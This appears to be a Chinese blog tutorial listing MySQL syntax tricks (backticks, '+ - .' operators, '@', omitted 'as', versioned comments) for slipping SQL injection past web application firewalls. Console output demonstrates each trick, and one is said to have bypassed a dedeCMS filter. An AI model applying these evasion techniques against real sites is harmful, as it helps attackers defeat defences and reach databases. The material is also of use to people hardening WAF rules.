本文中,笔者与大家分享了几个WAF绕过的技巧。对于一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql:
tips1: 神奇的 ` (格式输出表的那个控制符)
过空格 过一些正则。
- mysql> select`version`()
- -> ;
- +----------------------+
- | `version`() |
- +----------------------+
- | 5.1.50-community-log |
- +----------------------+
- 1 row in set (0.00 sec)
一个更好玩的技巧,这个` 控制符可以当注释符用(限定条件)。
- mysql> select id from qs_admins where id=1;`dfff and comment it;
- +----+
- | id |
- +----+
- | 1 |
- +----+
- 1 row in set (0.00 sec)
- `>usage : where id =’0′`’xxxxcomment on.
tips2:神奇的“- + .”:
- mysql> select id from qs_admins;
- +----+
- | id |
- +----+
- | 1 |
- +----+
- 1 row in set (0.00 sec)
- mysql> select+id-1+1.from qs_admins;
- +----------+
- | +id-1+1. |
- +----------+
- | 1 |
- +----------+
- 1 row in set (0.00 sec)
- mysql> select-id-1+3.from qs_admins;
- +----------+
- | -id-1+3. |
- +----------+
- | 1 |
- +----------+
- 1 row in set (0.00 sec)
(有些人不是一直在说关键字怎么过?过滤一个from … 就是这样连起来过)
tips3: @
- mysql> select@^1.from qs_admins;
- +------+
- | @^1. |
- +------+
- | NULL |
- +------+
这个是bypass 曾经dedeCMS filter。
或者下面这样也是可以的:
tips4:mysql function() as xxx 也可以不用as 和空格
- mysql> select-count(id)test from qs_admins;
- +------+
- | test |
- +------+
- | -1 |
- +------+
- 1 row in set (0.00 sec)
tips5:/*![>5000]*/ 新构造 版本号(这个可能有些过时了。)
- mysql> /*!40000select*/ id from qs_admins;
- +----+
- | id |
- +----+
- | 1 |
- +----+
- 1 row in set (0.00 sec)